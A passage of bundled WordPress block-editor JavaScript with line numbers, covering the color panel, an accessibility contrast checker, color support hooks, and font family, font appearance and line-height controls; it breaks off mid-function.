24308 hasValue: hasLink,
24309 resetValue: resetLink,
24310 isShownByDefault: defaultControls.link,
24311 indicators: [linkColor, hoverLinkColor],
24312 tabs: [
24313 {
24314 key: "link",
24315 label: (0,external_wp_i18n_namespaceObject.__)("Default"),
24316 inheritedValue: linkColor,
24317 setValue: setLinkColor,
24318 userValue: userLinkColor
24319 },
24320 {
24321 key: "hover",
24322 label: (0,external_wp_i18n_namespaceObject.__)("Hover"),
24323 inheritedValue: hoverLinkColor,
24324 setValue: setHoverLinkColor,
24325 userValue: userHoverLinkColor
24326 }
24327 ]
24328 }
24329 ].filter(Boolean);
24330 elements.forEach(({ name, label, showPanel }) => {
24331 if (!showPanel) {
24332 return;
24333 }
24334 const elementBackgroundColor = decodeValue(
24335 inheritedValue?.elements?.[name]?.color?.background
24336 );
24337 const elementGradient = decodeValue(
24338 inheritedValue?.elements?.[name]?.color?.gradient
24339 );
24340 const elementTextColor = decodeValue(
24341 inheritedValue?.elements?.[name]?.color?.text
24342 );
24343 const elementBackgroundUserColor = decodeValue(
24344 value?.elements?.[name]?.color?.background
24345 );
24346 const elementGradientUserColor = decodeValue(
24347 value?.elements?.[name]?.color?.gradient
24348 );
24349 const elementTextUserColor = decodeValue(
24350 value?.elements?.[name]?.color?.text
24351 );
24352 const hasElement = () => !!(elementTextUserColor || elementBackgroundUserColor || elementGradientUserColor);
24353 const resetElement = () => {
24354 const newValue = setImmutably(
24355 value,
24356 ["elements", name, "color", "background"],
24357 void 0
24358 );
24359 newValue.elements[name].color.gradient = void 0;
24360 newValue.elements[name].color.text = void 0;
24361 onChange(newValue);
24362 };
24363 const setElementTextColor = (newTextColor) => {
24364 onChange(
24365 setImmutably(
24366 value,
24367 ["elements", name, "color", "text"],
24368 encodeColorValue(newTextColor)
24369 )
24370 );
24371 };
24372 const setElementBackgroundColor = (newBackgroundColor) => {
24373 const newValue = setImmutably(
24374 value,
24375 ["elements", name, "color", "background"],
24376 encodeColorValue(newBackgroundColor)
24377 );
24378 newValue.elements[name].color.gradient = void 0;
24379 onChange(newValue);
24380 };
24381 const setElementGradient = (newGradient) => {
24382 const newValue = setImmutably(
24383 value,
24384 ["elements", name, "color", "gradient"],
24385 encodeGradientValue(newGradient)
24386 );
24387 newValue.elements[name].color.background = void 0;
24388 onChange(newValue);
24389 };
24390 const supportsTextColor = true;
24391 const supportsBackground = name !== "caption";
24392 items.push({
24393 key: name,
24394 label,
24395 hasValue: hasElement,
24396 resetValue: resetElement,
24397 isShownByDefault: defaultControls[name],
24398 indicators: supportsTextColor && supportsBackground ? [
24399 elementTextColor,
24400 elementGradient ?? elementBackgroundColor
24401 ] : [
24402 supportsTextColor ? elementTextColor : elementGradient ?? elementBackgroundColor
24403 ],
24404 tabs: [
24405 hasSolidColors && supportsTextColor && {
24406 key: "text",
24407 label: (0,external_wp_i18n_namespaceObject.__)("Text"),
24408 inheritedValue: elementTextColor,
24409 setValue: setElementTextColor,
24410 userValue: elementTextUserColor
24411 },
24412 hasSolidColors && supportsBackground && {
24413 key: "background",
24414 label: (0,external_wp_i18n_namespaceObject.__)("Background"),
24415 inheritedValue: elementBackgroundColor,
24416 setValue: setElementBackgroundColor,
24417 userValue: elementBackgroundUserColor
24418 },
24419 hasGradientColors && supportsBackground && {
24420 key: "gradient",
24421 label: (0,external_wp_i18n_namespaceObject.__)("Gradient"),
24422 inheritedValue: elementGradient,
24423 setValue: setElementGradient,
24424 userValue: elementGradientUserColor,
24425 isGradient: true
24426 }
24427 ].filter(Boolean)
24428 });
24429 });
24430 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
24431 Wrapper,
24432 {
24433 resetAllFilter,
24434 value,
24435 onChange,
24436 panelId,
24437 children: [
24438 items.map((item) => {
24439 const { key, ...restItem } = item;
24440 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24441 ColorPanelDropdown,
24442 {
24443 ...restItem,
24444 colorGradientControlSettings: {
24445 colors,
24446 disableCustomColors: !areCustomSolidsEnabled,
24447 gradients,
24448 disableCustomGradients: !areCustomGradientsEnabled
24449 },
24450 panelId
24451 },
24452 key
24453 );
24454 }),
24455 children
24456 ]
24457 }
24458 );
24459}
24460
24461
24462;// ./node_modules/@wordpress/block-editor/build-module/components/contrast-checker/index.js
24463
24464
24465
24466
24467
24468
24469
24470k([names, a11y]);
24471function ContrastChecker({
24472 backgroundColor,
24473 fallbackBackgroundColor,
24474 fallbackTextColor,
24475 fallbackLinkColor,
24476 fontSize,
24477 // Font size value in pixels.
24478 isLargeText,
24479 textColor,
24480 linkColor,
24481 enableAlphaChecker = false
24482}) {
24483 const currentBackgroundColor = backgroundColor || fallbackBackgroundColor;
24484 if (!currentBackgroundColor) {
24485 return null;
24486 }
24487 const currentTextColor = textColor || fallbackTextColor;
24488 const currentLinkColor = linkColor || fallbackLinkColor;
24489 if (!currentTextColor && !currentLinkColor) {
24490 return null;
24491 }
24492 const textColors = [
24493 {
24494 color: currentTextColor,
24495 description: (0,external_wp_i18n_namespaceObject.__)("text color")
24496 },
24497 {
24498 color: currentLinkColor,
24499 description: (0,external_wp_i18n_namespaceObject.__)("link color")
24500 }
24501 ];
24502 const colordBackgroundColor = w(currentBackgroundColor);
24503 const backgroundColorHasTransparency = colordBackgroundColor.alpha() < 1;
24504 const backgroundColorBrightness = colordBackgroundColor.brightness();
24505 const isReadableOptions = {
24506 level: "AA",
24507 size: isLargeText || isLargeText !== false && fontSize >= 24 ? "large" : "small"
24508 };
24509 let message = "";
24510 let speakMessage = "";
24511 for (const item of textColors) {
24512 if (!item.color) {
24513 continue;
24514 }
24515 const colordTextColor = w(item.color);
24516 const isColordTextReadable = colordTextColor.isReadable(
24517 colordBackgroundColor,
24518 isReadableOptions
24519 );
24520 const textHasTransparency = colordTextColor.alpha() < 1;
24521 if (!isColordTextReadable) {
24522 if (backgroundColorHasTransparency || textHasTransparency) {
24523 continue;
24524 }
24525 message = backgroundColorBrightness < colordTextColor.brightness() ? (0,external_wp_i18n_namespaceObject.sprintf)(
24526 // translators: %s is a type of text color, e.g., "text color" or "link color".
24527 (0,external_wp_i18n_namespaceObject.__)(
24528 "This color combination may be hard for people to read. Try using a darker background color and/or a brighter %s."
24529 ),
24530 item.description
24531 ) : (0,external_wp_i18n_namespaceObject.sprintf)(
24532 // translators: %s is a type of text color, e.g., "text color" or "link color".
24533 (0,external_wp_i18n_namespaceObject.__)(
24534 "This color combination may be hard for people to read. Try using a brighter background color and/or a darker %s."
24535 ),
24536 item.description
24537 );
24538 speakMessage = (0,external_wp_i18n_namespaceObject.__)(
24539 "This color combination may be hard for people to read."
24540 );
24541 break;
24542 }
24543 if (textHasTransparency && enableAlphaChecker) {
24544 message = (0,external_wp_i18n_namespaceObject.__)("Transparent text may be hard for people to read.");
24545 speakMessage = (0,external_wp_i18n_namespaceObject.__)(
24546 "Transparent text may be hard for people to read."
24547 );
24548 }
24549 }
24550 if (!message) {
24551 return null;
24552 }
24553 (0,external_wp_a11y_namespaceObject.speak)(speakMessage);
24554 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-contrast-checker", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24555 external_wp_components_namespaceObject.Notice,
24556 {
24557 spokenMessage: null,
24558 status: "warning",
24559 isDismissible: false,
24560 children: message
24561 }
24562 ) });
24563}
24564var contrast_checker_default = ContrastChecker;
24565
24566
24567;// ./node_modules/@wordpress/block-editor/build-module/components/provider/block-refs-provider.js
24568
24569
24570
24571const BlockRefs = (0,external_wp_element_namespaceObject.createContext)({ refsMap: (0,external_wp_compose_namespaceObject.observableMap)() });
24572BlockRefs.displayName = "BlockRefsContext";
24573function BlockRefsProvider({ children }) {
24574 const value = (0,external_wp_element_namespaceObject.useMemo)(() => ({ refsMap: (0,external_wp_compose_namespaceObject.observableMap)() }), []);
24575 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockRefs.Provider, { value, children });
24576}
24577
24578
24579;// ./node_modules/@wordpress/block-editor/build-module/components/block-list/use-block-props/use-block-refs.js
24580
24581
24582
24583function useBlockRefProvider(clientId) {
24584 const { refsMap } = (0,external_wp_element_namespaceObject.useContext)(BlockRefs);
24585 return (0,external_wp_compose_namespaceObject.useRefEffect)(
24586 (element) => {
24587 refsMap.set(clientId, element);
24588 return () => refsMap.delete(clientId);
24589 },
24590 [clientId]
24591 );
24592}
24593function assignRef(ref, value) {
24594 if (typeof ref === "function") {
24595 ref(value);
24596 } else if (ref) {
24597 ref.current = value;
24598 }
24599}
24600function useBlockElementRef(clientId, ref) {
24601 const { refsMap } = (0,external_wp_element_namespaceObject.useContext)(BlockRefs);
24602 (0,external_wp_element_namespaceObject.useLayoutEffect)(() => {
24603 assignRef(ref, refsMap.get(clientId));
24604 const unsubscribe = refsMap.subscribe(
24605 clientId,
24606 () => assignRef(ref, refsMap.get(clientId))
24607 );
24608 return () => {
24609 unsubscribe();
24610 assignRef(ref, null);
24611 };
24612 }, [refsMap, clientId, ref]);
24613}
24614function useBlockElement(clientId) {
24615 const [blockElement, setBlockElement] = (0,external_wp_element_namespaceObject.useState)(null);
24616 useBlockElementRef(clientId, setBlockElement);
24617 return blockElement;
24618}
24619
24620
24621;// ./node_modules/@wordpress/block-editor/build-module/hooks/contrast-checker.js
24622
24623
24624
24625
24626function getComputedValue(node, property) {
24627 return node.ownerDocument.defaultView.getComputedStyle(node).getPropertyValue(property);
24628}
24629function getBlockElementColors(blockEl) {
24630 if (!blockEl) {
24631 return {};
24632 }
24633 const firstLinkElement = blockEl.querySelector("a");
24634 const linkColor = !!firstLinkElement?.innerText ? getComputedValue(firstLinkElement, "color") : void 0;
24635 const textColor = getComputedValue(blockEl, "color");
24636 let backgroundColorNode = blockEl;
24637 let backgroundColor = getComputedValue(
24638 backgroundColorNode,
24639 "background-color"
24640 );
24641 while (backgroundColor === "rgba(0, 0, 0, 0)" && backgroundColorNode.parentNode && backgroundColorNode.parentNode.nodeType === backgroundColorNode.parentNode.ELEMENT_NODE) {
24642 backgroundColorNode = backgroundColorNode.parentNode;
24643 backgroundColor = getComputedValue(
24644 backgroundColorNode,
24645 "background-color"
24646 );
24647 }
24648 return {
24649 textColor,
24650 backgroundColor,
24651 linkColor
24652 };
24653}
24654function contrast_checker_reducer(prevColors, newColors) {
24655 const hasChanged = Object.keys(newColors).some(
24656 (key) => prevColors[key] !== newColors[key]
24657 );
24658 return hasChanged ? newColors : prevColors;
24659}
24660function BlockColorContrastChecker({ clientId }) {
24661 const blockEl = useBlockElement(clientId);
24662 const [colors, setColors] = (0,external_wp_element_namespaceObject.useReducer)(contrast_checker_reducer, {});
24663 (0,external_wp_element_namespaceObject.useLayoutEffect)(() => {
24664 if (!blockEl) {
24665 return;
24666 }
24667 function updateColors() {
24668 setColors(getBlockElementColors(blockEl));
24669 }
24670 window.requestAnimationFrame(
24671 () => window.requestAnimationFrame(updateColors)
24672 );
24673 });
24674 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24675 contrast_checker_default,
24676 {
24677 backgroundColor: colors.backgroundColor,
24678 textColor: colors.textColor,
24679 linkColor: colors.linkColor,
24680 enableAlphaChecker: true
24681 }
24682 );
24683}
24684
24685
24686;// ./node_modules/@wordpress/block-editor/build-module/hooks/color.js
24687
24688
24689
24690
24691
24692
24693
24694
24695
24696
24697
24698
24699
24700
24701
24702const COLOR_SUPPORT_KEY = "color";
24703const hasColorSupport = (blockNameOrType) => {
24704 const colorSupport = (0,external_wp_blocks_namespaceObject.getBlockSupport)(blockNameOrType, COLOR_SUPPORT_KEY);
24705 return colorSupport && (colorSupport.link === true || colorSupport.gradient === true || colorSupport.background !== false || colorSupport.text !== false);
24706};
24707const hasLinkColorSupport = (blockType) => {
24708 if (external_wp_element_namespaceObject.Platform.OS !== "web") {
24709 return false;
24710 }
24711 const colorSupport = (0,external_wp_blocks_namespaceObject.getBlockSupport)(blockType, COLOR_SUPPORT_KEY);
24712 return colorSupport !== null && typeof colorSupport === "object" && !!colorSupport.link;
24713};
24714const hasGradientSupport = (blockNameOrType) => {
24715 const colorSupport = (0,external_wp_blocks_namespaceObject.getBlockSupport)(blockNameOrType, COLOR_SUPPORT_KEY);
24716 return colorSupport !== null && typeof colorSupport === "object" && !!colorSupport.gradients;
24717};
24718const hasBackgroundColorSupport = (blockType) => {
24719 const colorSupport = (0,external_wp_blocks_namespaceObject.getBlockSupport)(blockType, COLOR_SUPPORT_KEY);
24720 return colorSupport && colorSupport.background !== false;
24721};
24722const hasTextColorSupport = (blockType) => {
24723 const colorSupport = (0,external_wp_blocks_namespaceObject.getBlockSupport)(blockType, COLOR_SUPPORT_KEY);
24724 return colorSupport && colorSupport.text !== false;
24725};
24726function color_addAttributes(settings) {
24727 if (!hasColorSupport(settings)) {
24728 return settings;
24729 }
24730 if (!settings.attributes.backgroundColor) {
24731 Object.assign(settings.attributes, {
24732 backgroundColor: {
24733 type: "string"
24734 }
24735 });
24736 }
24737 if (!settings.attributes.textColor) {
24738 Object.assign(settings.attributes, {
24739 textColor: {
24740 type: "string"
24741 }
24742 });
24743 }
24744 if (hasGradientSupport(settings) && !settings.attributes.gradient) {
24745 Object.assign(settings.attributes, {
24746 gradient: {
24747 type: "string"
24748 }
24749 });
24750 }
24751 return settings;
24752}
24753function color_addSaveProps(props, blockNameOrType, attributes) {
24754 if (!hasColorSupport(blockNameOrType) || shouldSkipSerialization(blockNameOrType, COLOR_SUPPORT_KEY)) {
24755 return props;
24756 }
24757 const hasGradient = hasGradientSupport(blockNameOrType);
24758 const { backgroundColor, textColor, gradient, style } = attributes;
24759 const shouldSerialize = (feature) => !shouldSkipSerialization(
24760 blockNameOrType,
24761 COLOR_SUPPORT_KEY,
24762 feature
24763 );
24764 const textClass = shouldSerialize("text") ? getColorClassName("color", textColor) : void 0;
24765 const gradientClass = shouldSerialize("gradients") ? __experimentalGetGradientClass(gradient) : void 0;
24766 const backgroundClass = shouldSerialize("background") ? getColorClassName("background-color", backgroundColor) : void 0;
24767 const serializeHasBackground = shouldSerialize("background") || shouldSerialize("gradients");
24768 const hasBackground = backgroundColor || style?.color?.background || hasGradient && (gradient || style?.color?.gradient);
24769 const newClassName = dist_clsx(props.className, textClass, gradientClass, {
24770 // Don't apply the background class if there's a custom gradient.
24771 [backgroundClass]: (!hasGradient || !style?.color?.gradient) && !!backgroundClass,
24772 "has-text-color": shouldSerialize("text") && (textColor || style?.color?.text),
24773 "has-background": serializeHasBackground && hasBackground,
24774 "has-link-color": shouldSerialize("link") && style?.elements?.link?.color
24775 });
24776 props.className = newClassName ? newClassName : void 0;
24777 return props;
24778}
24779function color_styleToAttributes(style) {
24780 const textColorValue = style?.color?.text;
24781 const textColorSlug = textColorValue?.startsWith("var:preset|color|") ? textColorValue.substring("var:preset|color|".length) : void 0;
24782 const backgroundColorValue = style?.color?.background;
24783 const backgroundColorSlug = backgroundColorValue?.startsWith(
24784 "var:preset|color|"
24785 ) ? backgroundColorValue.substring("var:preset|color|".length) : void 0;
24786 const gradientValue = style?.color?.gradient;
24787 const gradientSlug = gradientValue?.startsWith("var:preset|gradient|") ? gradientValue.substring("var:preset|gradient|".length) : void 0;
24788 const updatedStyle = { ...style };
24789 updatedStyle.color = {
24790 ...updatedStyle.color,
24791 text: textColorSlug ? void 0 : textColorValue,
24792 background: backgroundColorSlug ? void 0 : backgroundColorValue,
24793 gradient: gradientSlug ? void 0 : gradientValue
24794 };
24795 return {
24796 style: utils_cleanEmptyObject(updatedStyle),
24797 textColor: textColorSlug,
24798 backgroundColor: backgroundColorSlug,
24799 gradient: gradientSlug
24800 };
24801}
24802function color_attributesToStyle(attributes) {
24803 return {
24804 ...attributes.style,
24805 color: {
24806 ...attributes.style?.color,
24807 text: attributes.textColor ? "var:preset|color|" + attributes.textColor : attributes.style?.color?.text,
24808 background: attributes.backgroundColor ? "var:preset|color|" + attributes.backgroundColor : attributes.style?.color?.background,
24809 gradient: attributes.gradient ? "var:preset|gradient|" + attributes.gradient : attributes.style?.color?.gradient
24810 }
24811 };
24812}
24813function ColorInspectorControl({ children, resetAllFilter }) {
24814 const attributesResetAllFilter = (0,external_wp_element_namespaceObject.useCallback)(
24815 (attributes) => {
24816 const existingStyle = color_attributesToStyle(attributes);
24817 const updatedStyle = resetAllFilter(existingStyle);
24818 return {
24819 ...attributes,
24820 ...color_styleToAttributes(updatedStyle)
24821 };
24822 },
24823 [resetAllFilter]
24824 );
24825 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24826 inspector_controls_default,
24827 {
24828 group: "color",
24829 resetAllFilter: attributesResetAllFilter,
24830 children
24831 }
24832 );
24833}
24834function ColorEdit({ clientId, name, setAttributes, settings }) {
24835 const isEnabled = useHasColorPanel(settings);
24836 function selector(select) {
24837 const { style: style2, textColor: textColor2, backgroundColor: backgroundColor2, gradient: gradient2 } = select(store).getBlockAttributes(clientId) || {};
24838 return { style: style2, textColor: textColor2, backgroundColor: backgroundColor2, gradient: gradient2 };
24839 }
24840 const { style, textColor, backgroundColor, gradient } = (0,external_wp_data_namespaceObject.useSelect)(
24841 selector,
24842 [clientId]
24843 );
24844 const value = (0,external_wp_element_namespaceObject.useMemo)(() => {
24845 return color_attributesToStyle({
24846 style,
24847 textColor,
24848 backgroundColor,
24849 gradient
24850 });
24851 }, [style, textColor, backgroundColor, gradient]);
24852 const onChange = (newStyle) => {
24853 setAttributes(color_styleToAttributes(newStyle));
24854 };
24855 if (!isEnabled) {
24856 return null;
24857 }
24858 const defaultControls = (0,external_wp_blocks_namespaceObject.getBlockSupport)(name, [
24859 COLOR_SUPPORT_KEY,
24860 "__experimentalDefaultControls"
24861 ]);
24862 const enableContrastChecking = external_wp_element_namespaceObject.Platform.OS === "web" && !value?.color?.gradient && (settings?.color?.text || settings?.color?.link) && // Contrast checking is enabled by default.
24863 // Deactivating it requires `enableContrastChecker` to have
24864 // an explicit value of `false`.
24865 false !== (0,external_wp_blocks_namespaceObject.getBlockSupport)(name, [
24866 COLOR_SUPPORT_KEY,
24867 "enableContrastChecker"
24868 ]);
24869 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24870 ColorPanel,
24871 {
24872 as: ColorInspectorControl,
24873 panelId: clientId,
24874 settings,
24875 value,
24876 onChange,
24877 defaultControls,
24878 enableContrastChecker: false !== (0,external_wp_blocks_namespaceObject.getBlockSupport)(name, [
24879 COLOR_SUPPORT_KEY,
24880 "enableContrastChecker"
24881 ]),
24882 children: enableContrastChecking && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockColorContrastChecker, { clientId })
24883 }
24884 );
24885}
24886function color_useBlockProps({
24887 name,
24888 backgroundColor,
24889 textColor,
24890 gradient,
24891 style
24892}) {
24893 const [userPalette, themePalette, defaultPalette] = use_settings_useSettings(
24894 "color.palette.custom",
24895 "color.palette.theme",
24896 "color.palette.default"
24897 );
24898 const colors = (0,external_wp_element_namespaceObject.useMemo)(
24899 () => [
24900 ...userPalette || [],
24901 ...themePalette || [],
24902 ...defaultPalette || []
24903 ],
24904 [userPalette, themePalette, defaultPalette]
24905 );
24906 if (!hasColorSupport(name) || shouldSkipSerialization(name, COLOR_SUPPORT_KEY)) {
24907 return {};
24908 }
24909 const extraStyles = {};
24910 if (textColor && !shouldSkipSerialization(name, COLOR_SUPPORT_KEY, "text")) {
24911 extraStyles.color = getColorObjectByAttributeValues(
24912 colors,
24913 textColor
24914 )?.color;
24915 }
24916 if (backgroundColor && !shouldSkipSerialization(name, COLOR_SUPPORT_KEY, "background")) {
24917 extraStyles.backgroundColor = getColorObjectByAttributeValues(
24918 colors,
24919 backgroundColor
24920 )?.color;
24921 }
24922 const saveProps = color_addSaveProps({ style: extraStyles }, name, {
24923 textColor,
24924 backgroundColor,
24925 gradient,
24926 style
24927 });
24928 const hasBackgroundValue = backgroundColor || style?.color?.background || gradient || style?.color?.gradient;
24929 return {
24930 ...saveProps,
24931 className: dist_clsx(
24932 saveProps.className,
24933 // Add background image classes in the editor, if not already handled by background color values.
24934 !hasBackgroundValue && getBackgroundImageClasses(style)
24935 )
24936 };
24937}
24938var color_default = {
24939 useBlockProps: color_useBlockProps,
24940 addSaveProps: color_addSaveProps,
24941 attributeKeys: ["backgroundColor", "textColor", "gradient", "style"],
24942 hasSupport: hasColorSupport
24943};
24944const MIGRATION_PATHS = {
24945 linkColor: [["style", "elements", "link", "color", "text"]],
24946 textColor: [["textColor"], ["style", "color", "text"]],
24947 backgroundColor: [
24948 ["backgroundColor"],
24949 ["style", "color", "background"]
24950 ],
24951 gradient: [["gradient"], ["style", "color", "gradient"]]
24952};
24953function color_addTransforms(result, source, index, results) {
24954 const destinationBlockType = result.name;
24955 const activeSupports = {
24956 linkColor: hasLinkColorSupport(destinationBlockType),
24957 textColor: hasTextColorSupport(destinationBlockType),
24958 backgroundColor: hasBackgroundColorSupport(destinationBlockType),
24959 gradient: hasGradientSupport(destinationBlockType)
24960 };
24961 return transformStyles(
24962 activeSupports,
24963 MIGRATION_PATHS,
24964 result,
24965 source,
24966 index,
24967 results
24968 );
24969}
24970(0,external_wp_hooks_namespaceObject.addFilter)(
24971 "blocks.registerBlockType",
24972 "core/color/addAttribute",
24973 color_addAttributes
24974);
24975(0,external_wp_hooks_namespaceObject.addFilter)(
24976 "blocks.switchToBlockType.transformedBlock",
24977 "core/color/addTransforms",
24978 color_addTransforms
24979);
24980
24981
24982;// ./node_modules/@wordpress/block-editor/build-module/components/font-family/index.js
24983
24984
24985
24986
24987
24988
24989function FontFamilyControl({
24990 /** Start opting into the larger default height that will become the default size in a future version. */
24991 __next40pxDefaultSize = false,
24992 /** Start opting into the new margin-free styles that will become the default in a future version. */
24993 __nextHasNoMarginBottom = false,
24994 value = "",
24995 onChange,
24996 fontFamilies,
24997 className,
24998 ...props
24999}) {
25000 const [blockLevelFontFamilies] = use_settings_useSettings("typography.fontFamilies");
25001 if (!fontFamilies) {
25002 fontFamilies = blockLevelFontFamilies;
25003 }
25004 if (!fontFamilies || fontFamilies.length === 0) {
25005 return null;
25006 }
25007 const options = [
25008 {
25009 key: "",
25010 name: (0,external_wp_i18n_namespaceObject.__)("Default")
25011 },
25012 ...fontFamilies.map(({ fontFamily, name }) => ({
25013 key: fontFamily,
25014 name: name || fontFamily,
25015 style: { fontFamily }
25016 }))
25017 ];
25018 if (!__nextHasNoMarginBottom) {
25019 external_wp_deprecated_default()(
25020 "Bottom margin styles for wp.blockEditor.FontFamilyControl",
25021 {
25022 since: "6.7",
25023 version: "7.0",
25024 hint: "Set the `__nextHasNoMarginBottom` prop to true to start opting into the new styles, which will become the default in a future version"
25025 }
25026 );
25027 }
25028 if (!__next40pxDefaultSize && (props.size === void 0 || props.size === "default")) {
25029 external_wp_deprecated_default()(
25030 `36px default size for wp.blockEditor.__experimentalFontFamilyControl`,
25031 {
25032 since: "6.8",
25033 version: "7.1",
25034 hint: "Set the `__next40pxDefaultSize` prop to true to start opting into the new default size, which will become the default in a future version."
25035 }
25036 );
25037 }
25038 const selectedValue = options.find((option) => option.key === value) ?? "";
25039 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25040 external_wp_components_namespaceObject.CustomSelectControl,
25041 {
25042 __next40pxDefaultSize,
25043 __shouldNotWarnDeprecated36pxSize: true,
25044 label: (0,external_wp_i18n_namespaceObject.__)("Font"),
25045 value: selectedValue,
25046 onChange: ({ selectedItem }) => onChange(selectedItem.key),
25047 options,
25048 className: dist_clsx("block-editor-font-family-control", className, {
25049 "is-next-has-no-margin-bottom": __nextHasNoMarginBottom
25050 }),
25051 ...props
25052 }
25053 );
25054}
25055
25056
25057;// ./node_modules/@wordpress/block-editor/build-module/components/font-appearance-control/index.js
25058
25059
25060
25061
25062
25063
25064const getFontAppearanceLabel = (hasFontStyles, hasFontWeights) => {
25065 if (!hasFontStyles) {
25066 return (0,external_wp_i18n_namespaceObject.__)("Font weight");
25067 }
25068 if (!hasFontWeights) {
25069 return (0,external_wp_i18n_namespaceObject.__)("Font style");
25070 }
25071 return (0,external_wp_i18n_namespaceObject.__)("Appearance");
25072};
25073function FontAppearanceControl(props) {
25074 const {
25075 /** Start opting into the larger default height that will become the default size in a future version. */
25076 __next40pxDefaultSize = false,
25077 onChange,
25078 hasFontStyles = true,
25079 hasFontWeights = true,
25080 fontFamilyFaces,
25081 value: { fontStyle, fontWeight },
25082 ...otherProps
25083 } = props;
25084 const hasStylesOrWeights = hasFontStyles || hasFontWeights;
25085 const label = getFontAppearanceLabel(hasFontStyles, hasFontWeights);
25086 const defaultOption = {
25087 key: "default",
25088 name: (0,external_wp_i18n_namespaceObject.__)("Default"),
25089 style: { fontStyle: void 0, fontWeight: void 0 }
25090 };
25091 const { fontStyles, fontWeights, combinedStyleAndWeightOptions } = getFontStylesAndWeights(fontFamilyFaces);
25092 const combineOptions = () => {
25093 const combinedOptions = [defaultOption];
25094 if (combinedStyleAndWeightOptions) {
25095 combinedOptions.push(...combinedStyleAndWeightOptions);
25096 }
25097 return combinedOptions;
25098 };
25099 const styleOptions = () => {
25100 const combinedOptions = [defaultOption];
25101 fontStyles.forEach(({ name, value }) => {
25102 combinedOptions.push({
25103 key: value,
25104 name,
25105 style: { fontStyle: value, fontWeight: void 0 }
25106 });
25107 });
25108 return combinedOptions;
25109 };
25110 const weightOptions = () => {
25111 const combinedOptions = [defaultOption];
25112 fontWeights.forEach(({ name, value }) => {
25113 combinedOptions.push({
25114 key: value,
25115 name,
25116 style: { fontStyle: void 0, fontWeight: value }
25117 });
25118 });
25119 return combinedOptions;
25120 };
25121 const selectOptions = (0,external_wp_element_namespaceObject.useMemo)(() => {
25122 if (hasFontStyles && hasFontWeights) {
25123 return combineOptions();
25124 }
25125 return hasFontStyles ? styleOptions() : weightOptions();
25126 }, [
25127 props.options,
25128 fontStyles,
25129 fontWeights,
25130 combinedStyleAndWeightOptions
25131 ]);
25132 const currentSelection = selectOptions.find(
25133 (option) => option.style.fontStyle === fontStyle && option.style.fontWeight === fontWeight
25134 ) || selectOptions[0];
25135 const getDescribedBy = () => {
25136 if (!currentSelection) {
25137 return (0,external_wp_i18n_namespaceObject.__)("No selected font appearance");
25138 }
25139 if (!hasFontStyles) {
25140 return (0,external_wp_i18n_namespaceObject.sprintf)(
25141 // translators: %s: Currently selected font weight.
25142 (0,external_wp_i18n_namespaceObject.__)("Currently selected font weight: %s"),
25143 currentSelection.name
25144 );
25145 }
25146 if (!hasFontWeights) {
25147 return (0,external_wp_i18n_namespaceObject.sprintf)(
25148 // translators: %s: Currently selected font style.
25149 (0,external_wp_i18n_namespaceObject.__)("Currently selected font style: %s"),
25150 currentSelection.name
25151 );
25152 }
25153 return (0,external_wp_i18n_namespaceObject.sprintf)(
25154 // translators: %s: Currently selected font appearance.
25155 (0,external_wp_i18n_namespaceObject.__)("Currently selected font appearance: %s"),
25156 currentSelection.name
25157 );
25158 };
25159 if (!__next40pxDefaultSize && (otherProps.size === void 0 || otherProps.size === "default")) {
25160 external_wp_deprecated_default()(
25161 `36px default size for wp.blockEditor.__experimentalFontAppearanceControl`,
25162 {
25163 since: "6.8",
25164 version: "7.1",
25165 hint: "Set the `__next40pxDefaultSize` prop to true to start opting into the new default size, which will become the default in a future version."
25166 }
25167 );
25168 }
25169 return hasStylesOrWeights && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25170 external_wp_components_namespaceObject.CustomSelectControl,
25171 {
25172 ...otherProps,
25173 className: "components-font-appearance-control",
25174 __next40pxDefaultSize,
25175 __shouldNotWarnDeprecated36pxSize: true,
25176 label,
25177 describedBy: getDescribedBy(),
25178 options: selectOptions,
25179 value: currentSelection,
25180 onChange: ({ selectedItem }) => onChange(selectedItem.style)
25181 }
25182 );
25183}
25184
25185
25186;// ./node_modules/@wordpress/block-editor/build-module/components/line-height-control/utils.js
25187const BASE_DEFAULT_VALUE = 1.5;
25188const STEP = 0.01;
25189const SPIN_FACTOR = 10;
25190const RESET_VALUE = "";
25191function isLineHeightDefined(lineHeight) {
25192 return lineHeight !== void 0 && lineHeight !== RESET_VALUE;
25193}
25194
25195
25196;// ./node_modules/@wordpress/block-editor/build-module/components/line-height-control/index.js
25197
25198
25199
25200
25201
25202const line_height_control_LineHeightControl = ({
25203 /** Start opting into the larger default height that will become the default size in a future version. */
25204 __next40pxDefaultSize = false,
25205 value: lineHeight,
25206 onChange,
25207 __unstableInputWidth = "60px",
25208 ...otherProps
25209}) => {
25210 const isDefined = isLineHeightDefined(lineHeight);
25211 const adjustNextValue = (nextValue, wasTypedOrPasted) => {
25212 if (isDefined) {
25213 return nextValue;
25214 }
25215 const spin = STEP * SPIN_FACTOR;
25216 switch (`${nextValue}`) {
25217 case `${spin}`:
25218 return BASE_DEFAULT_VALUE + spin;
25219 case "0": {
25220 if (wasTypedOrPasted) {
25221 return nextValue;
25222 }
25223 return BASE_DEFAULT_VALUE - spin;
25224 }
25225 case "":
25226 return BASE_DEFAULT_VALUE;
25227 default:
25228 return nextValue;
25229 }
25230 };
25231 const stateReducer = (state, action) => {
25232 const wasTypedOrPasted = ["insertText", "insertFromPaste"].includes(
25233 action.payload.event.nativeEvent?.inputType
25234 );
25235 const value2 = adjustNextValue(state.value, wasTypedOrPasted);
25236 return { ...state, value: value2 };
25237 };
25238 const value = isDefined ? lineHeight : RESET_VALUE;
25239 const handleOnChange = (nextValue, { event }) => {
25240 if (nextValue === "") {
25241 onChange();
25242 return;
25243 }
25244 if (event.type === "click") {
25245 onChange(adjustNextValue(`${nextValue}`, false));
25246 return;
